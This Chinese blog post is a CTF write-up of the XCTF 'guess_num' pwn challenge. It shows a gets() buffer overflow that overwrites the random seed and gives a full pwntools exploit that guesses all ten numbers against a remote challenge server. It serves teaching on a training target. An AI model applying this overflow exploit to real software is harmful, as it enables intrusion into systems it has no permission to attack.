当前位置:首页 > CTF > 攻防世界 > 正文内容

XCTF_pwn新手区_guess-num

攻防世界七星8个月前 (07-06)

下载题目,ida查看main函数伪代码:

image.png

这里可以看出,v8是个随机数.

image.png

而这个v6就是我们需要输入的猜测数

分析这个代码,逻辑是这样的:

先输入name,然后进入for循环,生成随机数,然后要求输入随机数,

然后需要猜对十次,才能跳出for循环,去执行sub_C3E函数.我们去看看sub_C3E函数:

image.png

这个函数直接获取flag

那么就需要考虑怎么直接去执行sub_C3E了

在进入for循环之前,程序执行了srand(seed[0]);

在srand之前,执行了危险函数gets()

所以我们可以用第一次输入的name通过gets覆盖掉种子数seed[0],使得随机数不随机


关于随机数:

随机函数生成的随机数并不是真的随机数,

他们只是在一定范围内随机,

实际上是一段数字的循环,这些数字取决于随机种子。

在调用rand()函数时,必须先利用srand()设好随机数种子,

如果未设随机数种子,rand()在调用时会自动设随机数种子为1。

这道题,种子数可以随便设.

接着我们看一下v9(也就是让输入的name,我们重命名为buf)距离seed[0]的位置:

图片1.png

buf的位置是0x30,seed的位置是0x10

0x30 - 0x10 = 0x20

所以偏移量为0x20,再用1覆盖掉seed

于是此处的payload为:

payload = 'A'*0x20 + p64(1)


接着,我们看一下,用1作为种子,看看生成的十个随机数:

#include <stdio.h>
#include <stdlib.h>
 
int main() {
    int random_num;
    srand(1);
    for (int i = 0; i <= 9; i++) {
        random_num = rand() % 6 + 1;
        printf("%d\n",random_num);
    }
}

image.png

也就是

2,5,4,2,6,2,5,1,4,2

然后做一个数组:

num = [2,5,4,2,6,2,5,1,4,2]

啊?你问我为什么是%6+1??

因为原题伪代码就这么给的啊,

这一步操作是在复现原题,看看原题可以生成啥样的随机数.

 

然后就写个for循环:

对应原程序的输入猜测的随机数

for guess_num in num:

    io.recvuntil('number:')

    io.sendline(str(guess_num))

然后完整的exp就有了:

from pwn import *

io = remote('220.249.52.133','38476')

payload = 'A'*0x20 + p64(1)
io.recvuntil('Your name:')
io.sendline(payload)

num = [2,5,4,2,6,2,5,1,4,2]
for guess_num in num:
    io.recvuntil('number:')
    io.sendline(str(guess_num))
    
io.interactive()

image.png


直接get flag

七星比特|QQ:320406741

相关文章

XCTF_crypto进阶区_告诉你个秘密

XCTF_crypto进阶区_告诉你个秘密

得到题目:首先发现,没有大于F的数字.所以推断是16进制.于是十六进制转字符串:cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g像base64,解出来:...

XCTF_crypto进阶区_cr3-what-is-this-encryption

XCTF_crypto进阶区_cr3-what-is-this-encryption

明显的RSA.把十六进制转二进制数字:已知p,q,e和密文c,求明文.参考第八题,RSA算法详解:https://qixingbit.com/xctf/%E5%AF%86%E7%A0%81%E5%AD...

XCTF_web进阶区_baby_web

XCTF_web进阶区_baby_web

开启题目,创建场景:根据题目提示:初始页面是index.php,所以访问index.php就行了.但是发现,他还是会定向到1.php,于是用burpsuite:...

XCTF_reverse新手区_csaw2013reversing2

XCTF_reverse新手区_csaw2013reversing2

下载题目后, 是exe的, 直接运行, 乱码,和题目的提示一样:  拖到ida里面,main函数双击然后f5看见伪代码里面main函数调用了这个方法做了if判断: &nb...

XCTF_web新手区_robots

XCTF_web新手区_robots

这个题很经典怎么经典?解决了很多爬虫的问题。举个栗子假如让你拿到某网站的访客,你会怎么做?用Python写个爬虫?那么,你有么有考虑过以下问题:访问频次太高被限制如何大量发现该网站的URL如何抓取一个...

XCTF_pwn新手区_hellopwn

XCTF_pwn新手区_hellopwn

下载题目,运行之,得未知物,非flag:丢ida,找main函数,f5分析:有个if判断,如果条件成立,执行sub_400686()这个函数.双击这个函数进去看看:那就是说,只要让dword_6010...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。